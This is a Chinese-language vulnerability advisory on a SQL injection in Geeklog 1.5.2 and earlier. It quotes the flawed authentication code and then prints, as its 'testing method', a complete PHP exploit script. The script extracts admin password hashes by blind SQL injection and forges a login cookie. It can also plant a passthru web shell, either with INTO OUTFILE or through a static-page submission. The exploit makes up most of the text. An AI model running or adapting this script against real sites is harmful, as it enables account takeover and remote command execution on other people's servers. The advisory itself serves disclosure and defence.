安全研究

安全漏洞
Geeklog SEC_authenticate()函数SQL注入漏洞

发布日期:2009-04-09
更新日期:2009-04-10

受影响系统:
Geeklog geeklog <= 1.5.2
描述:
BUGTRAQ  ID: 34456

Geeklog是一个免费的、开放源码的Web应用程序。它可以使用户创建一个虚拟的社区,可以管理用户,张贴文章等。Geeklog采用PHP实现,以MySQL为后台数据库。

Geeklog的index.php模块中的SEC_authenticate()函数没有正确的验证用户所提交的PHP_AUTH_USER和REMOTE_USER变量参数,远程攻击者可以通过提交恶意查询请求执行SQL注入攻击。以下是/public_html/webservices/atom/index.php文件中34-53行的有漏洞代码段:

    ...
    require_once '../../lib-common.php';

    if (PHP_VERSION < 5) {
    $_CONF['disable_webservices'] = true;
    } else {
        require_once $_CONF['path_system'] . '/lib-webservices.php';
    }
    if ($_CONF['disable_webservices']) {
        COM_displayMessageAndAbort($LANG_404[3], '', 404, 'Not Found');
    }
    header('Content-type: ' . 'application/atom+xml' . '; charset=UTF-8');
    WS_authenticate();
    ...

/system/lib-webservices.php文件780-877行的WS_authenticate()函数:

    ...
    function WS_authenticate()
    {
    global $_CONF, $_TABLES, $_USER, $_GROUPS, $_RIGHTS, $WS_VERBOSE;

    $uid = '';
    $username = '';
    $password = '';

    $status = -1;

    if (isset($_SERVER['PHP_AUTH_USER'])) {
        $username = $_SERVER['PHP_AUTH_USER'];
        $password = $_SERVER['PHP_AUTH_PW'];

        if ($WS_VERBOSE) {
            COM_errorLog("WS: Attempting to log in user '$username'");
        }
    } elseif (!empty($_SERVER['REMOTE_USER'])) {


        list($auth_type, $auth_data) = explode(' ', $_SERVER['REMOTE_USER']);
        list($username, $password) = explode(':', base64_decode($auth_data));

        if ($WS_VERBOSE) {
            COM_errorLog("WS: Attempting to log in user '$username' (via \$_SERVER['REMOTE_USER'])");  }
    } else {
        if ($WS_VERBOSE) {
            COM_errorLog("WS: No login given");
        }


    }

    ...

之后在907-909行:

    ...
     if (($status == -1) && $_CONF['user_login_method']['standard']) {
            $status = SEC_authenticate($username, $password, $uid);
        }

    ...
    
/system/lib-security.php文件的695-717行:

    ...
    function SEC_authenticate($username, $password, &$uid)
    {
    global $_CONF, $_TABLES, $LANG01;

    $result = DB_query("SELECT status, passwd, email, uid FROM {$_TABLES['users']} WHERE username='$username' AND ((remoteservice is null) or (remoteservice = ''))"); //<------------------- SQL INJECTION HERE  

        $tmp = DB_error();
    $nrows = DB_numRows($result);

    if (($tmp == 0) && ($nrows == 1)) {
        $U = DB_fetchArray($result);
        $uid = $U['uid'];
        if ($U['status'] == USER_ACCOUNT_DISABLED) {
            // banned, jump to here to save an md5 calc.
            return USER_ACCOUNT_DISABLED;
        } elseif ($U['passwd'] != SEC_encryptPassword($password)) {

            return -1; // failed login
        } elseif ($U['status'] == USER_ACCOUNT_AWAITING_APPROVAL) {
            return USER_ACCOUNT_AWAITING_APPROVAL;
        } elseif ($U['status'] == USER_ACCOUNT_AWAITING_ACTIVATION) {
            // Awaiting user activation, activate:
            DB_change($_TABLES['users'], 'status', USER_ACCOUNT_ACTIVE,
                      'username', $username);
            return USER_ACCOUNT_ACTIVE;
        } else {
            return $U['status']; // just return their status
        }
    } else {
        $tmp = $LANG01[32] . ": '" . $username . "'";
        COM_errorLog($tmp, 1);
        return -1;
    }
    }

    ...

可在这个函数的username参数中注入SQL代码,该参数来自$_SERVER['PHP_AUTH_USER']或$_SERVER['REMOTE_USER']变量。

<*来源:bookoo
  
  链接:http://marc.info/?l=bugtraq&m=123929454313471&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php

  
    $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";
    
    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
    if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        false;
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
            nil;
        } else {
            !dl("php_curl.so") ? die($err[1]) :
            nil;
        }
    }
    
    function syntax() {
        print (
        "Syntax: php ".$argv[0]." [host] [path] [OPTIONS] \n". "Options:              \
\n". "--port:[port]         - specify a port                                      \
\n". "                        default->80                                         \
\n". "--prefix              - try to extract table prefix from information.schema \
\n". "                        default->gl_                                        \
\n". "--uid:[n]             - specify an uid other than default (2,usually admin) \
\n". "--proxy:[host:port]   - use proxy                                           \
\n". "--skiptest            - skip preliminary tests                              \
\n". "--test                - run only tests                                      \
\n". "--export_shell:[path] - try to export a shell with INTO OUTFILE, needs \
Mysql\n". "                        FILE privilege                                     \
\n". "--sp                  -   submit a 'staticpage' with php code, needs geeklog  \
\n". "                        sp_php permission set to true for thestaticpage     \
\n". "                        plugin (not the default)                            \
\n". "Examples:   php ".$argv[0]." 192.168.0.1 /geeklog/                          \
\n". "            php ".$argv[0]." 192.168.0.1 /  --prefix --proxy:1.1.1.1:8080   \
\n". "            php ".$argv[0]." 192.168.0.1 /  --prefix \
--export_shell:/var/www\n". "            php ".$argv[0]." 192.168.0.1 /  --prefix \
--uid:3");  die();
    }
    
    error_reporting(E_ALL ^ E_NOTICE);
    $host = $argv[1];
    $path = $argv[2];
    
    $prefix = "gl_";
    //default
    $uid = "2";
    $where = "uid=$uid";
    
    
    $argv[2] ? print("[*] Attacking...\n") :
     syntax();
    
    $_f_prefix = false;
    $_use_proxy = false;
    $port = 80;
    $_skiptest = false;
    $_verbose = false;
    $_test = false;
    $sp_submit = false;
    $into_outfile = false;
    
    for ($i = 3; $i < $argc; $i++) {
        if (stristr($argv[$i], "--prefix")) {
            $_f_prefix = true;
        }
        if (stristr($argv[$i], "--proxy:")) {
            $_use_proxy = true;
            $tmp = explode(":", $argv[$i]);
            $proxy_host = $tmp[1];
            $proxy_port = (int)$tmp[2];
        }
        if (stristr($argv[$i], "--port:")) {
            $tmp = explode(":", $argv[$i]);
            $port = (int)$tmp[1];
        }
        
        if (stristr($argv[$i], "--uid")) {
            $tmp = explode(":", $argv[$i]);
            $uid = (int)$tmp[1];
            $where = "uid=$uid";
        }
        if (stristr($argv[$i], "--verbose")) {
            $_verbose = true;
        }
        if (stristr($argv[$i], "--skiptest")) {
            $_skiptest = true;
        }
        if (stristr($argv[$i], "--test")) {
            $_test = true;
        }
        if (stristr($argv[$i], "--export_shell:")) {
            $tmp = explode(":", $argv[$i]);
            $my_path = $tmp[1];
            $into_outfile = true;
        }
        if (stristr($argv[$i], "--sp")) {
            $sp_submit = true;
        }
    }
    
    function _s($url, $auth, $is_post, $request) {
        global $_use_proxy, $proxy_host, $proxy_port;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        if ($is_post) {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
        }
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; \
it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7");  curl_setopt($ch, CURLOPT_TIMEOUT, \
0);  
        if ($auth <> "") {
             $auth = array("Authorization: Basic ".$auth);
            curl_setopt($ch, CURLOPT_HEADER, 1);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $auth);
        }
        if ($_use_proxy) {
            curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
        }
        $_d = curl_exec($ch);
        if (curl_errno($ch)) {
            die("[!] ".curl_error($ch)."\n");
        } else {
            curl_close($ch);
        }
        return $_d;
    }
    
    function find_prefix() {
        global $host, $port, $path, $uid, $pwd, $url;
        
        $_tn = "TABLE_NAME";
        $_ift = "information_schema.TABLES";
        
        $_table_prefix = "";
        $j = -15;
        $usr = "' AND 0 UNION SELECT null,null,null,null FROM $_ift WHERE ".$_tn." \
LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";  $_o = _s($url, \
base64_encode($usr.":".$pwd) , 0, "");  if (chk_err($_o)) {
            die("[!] $_ift not availiable.");
        } else {
            print "[*] Initiating table prefix extraction...\n";
        }
        while (!$null_f) {
            $mn = 0x00;
            $mx = 0xff;
            while (1) {
                if (($mx + $mn) % 2 == 1) {
                    $c = round(($mx + $mn) / 2) - 1;
                } else {
                    $c = round(($mx + $mn) / 2);
                }
                
                $usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,(CASE WHEN \
(ASCII(SUBSTR(".$_tn." FROM $j FOR 1)) >= ".$c.") THEN '' ELSE $uid END) FROM $_ift \
WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";  $_o = _s($url, \
base64_encode($usr.":".$pwd) , 0, "");  
                if (chk_err($_o)) {
                    $mn = $c;
                } else {
                    $mx = $c - 1;
                }
                
                if (($mx-$mn == 1) or ($mx == $mn)) {
                    $usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,(CASE WHEN \
(ASCII(SUBSTR(".$_tn." FROM $j FOR 1)) >= ".$c.") THEN '' ELSE $uid END) FROM $_ift \
WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";  $_o = _s($url, \
base64_encode($usr.":".$pwd) , 0, "");  if (chk_err($_o)) {
                        if ($mn <> 0) {
                            $_table_prefix = chr($mn).$_table_prefix;
                        } else {
                            $null_f = true;
                        }
                    } else {
                        if ($mx <> 0) {
                            $_table_prefix = chr($mx).$_table_prefix;
                        } else {
                            $null_f = true;
                        }
                    }
                    if (!$null_f) {
                        print ("[?] Table prefix->[??]".$_table_prefix."\n");
                    }
                    break;
                }
            }
            $j--;
        }
        print "[?] Table prefix->".$_table_prefix."\n";
        return $_table_prefix;
    }
    
    
    function export_sh() {
        global $pwd, $url, $prefix, $my_path;
        $usr = "' AND 0 UNION SELECT null,'<?php passtrhu(\$_GET[cmd]);?>',null,null \
INTO OUTFILE '".$my_path."/sh.php' FROM ".$prefix."users LIMIT 1/*";  $_o = _s($url, \
base64_encode($usr.":".$pwd) , 0, "");  if (chk_err($_o)) {
            print ("[*] Sql error.");
        } else {
            print ("[*] Done.");
        }
    }
    
    function sp_php() {
        global $host, $port, $path, $pwd, $prefix, $uid;
        
        srand(make_seed());
        $id = rand(0x1, 0xffffff);
        echo "[*] id->".$id."\n";
        
        $sh = "passthru(\$_GET[cmd]);";
        
        //always specify the namespaceuri
        //if the staticpages.PHP permission is not avaliable, sp_php will be resetted \
to 0  $data = "<?xml version=\"1.0\"?>". "<entry>". "<title term=\"1\" \
xmlns=\"http://www.geeklog.net/xmlns/app/gl\">\x20\x20\x20\x20</title>". "<id \
xmlns=\"http://www.geeklog.net/xmlns/app/gl\">$id</id>". "<sp_content \
xmlns=\"http://www.geeklog.net/xmlns/app/gl\">$sh</sp_content>". "<sp_php \
xmlns=\"http://www.geeklog.net/xmlns/app/gl\">1</sp_php>". "<gl_etag \
xmlns=\"http://www.geeklog.net/xmlns/app/gl\">1</gl_etag>". "</entry>";  
        $usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,$uid FROM ".$prefix."users \
                LIMIT 1/*";
        $url = "http://$host:$port".$path."webservices/atom/index.php?plugin=staticpag \
es";  $out = _s($url, base64_encode($usr.":".$pwd) , 1, $data);
        
        if (chk_err($_o)) {
            print ("[*] Sql error.");
        } else {
            print ("[*] Done! \
Visit->http://$host:$port".$path."staticpages/index.php?page=$id&cmd=ls%20-la");  }
        
    }
    
    function make_seed() {
        list($usec, $sec) = explode(' ', microtime());
        return (float) $sec + ((float) $usec * 100000);
    }
    
    function chk_err($s) {
        if (stripos ($s, \
"\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\ \
x72\x72\x65\x64\x2e")) {  return true;
        } else {
            return false;
        }
    }
    
    $pwd = "AAAA";
    $url = "http://$host:$port".$path."webservices/atom/index.php?plugin=staticpages"; \
  
    if (!$_skiptest) {
        $out = _s($url, base64_encode("':'") , 0, "");
        if (chk_err($out)) {
            print("[*] Vulnerable!\n");
        } else {
            die("[!] Not vulnerable.");
        }
    }
    
    if ($_test) {
        die;
    }
    
    if ($_f_prefix == true) {
        $prefix = find_prefix();
    }
    
    if ($into_outfile == true) {
        export_sh();
        die;
    }
    if ($sp_submit == true) {
        sp_php();
        die;
    }
    
    $c = array();
    $c = array_merge($c, range(0x30, 0x39));
    $c = array_merge($c, range(0x61, 0x66));
    $_hash = "";
    print ("[*] Initiating hash extraction ...\n");
    for ($j = 1; $j < 0x21; $j++) {
        for ($i = 0; $i <= 0xff; $i++) {
            $f = false;
            if (in_array($i, $c)) {
                //uid is mediumint, so if you assign a string value to it you have an \
sql error, so the script fails hence true/fails questions and you bypass speed limit \
also  $usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,(CASE WHEN (ASCII(SUBSTR(passwd \
FROM $j FOR 1))=$i) THEN '' ELSE $uid END) FROM ".$prefix."users WHERE $where LIMIT \
1/*";  $out = _s($url, base64_encode($usr.":".$pwd) , 0, "");
                if (chk_err($out)) {
                    $f = true;
                    $_hash .= chr($i);
                    print "[*] Md5 Hash: ".$_hash.str_repeat("?", 0x20-$j)."\n";
                    break;
                }
            }
        }
        if ($f == false) {
            die("\n[!] Unknown error ...");
        }
    }
    print "[*] Done! Cookie: geeklog=$uid; password=".$_hash.";\n";
?>

建议:
厂商补丁:

Geeklog
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://geeklog.sourceforge.net/

浏览次数:2877
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障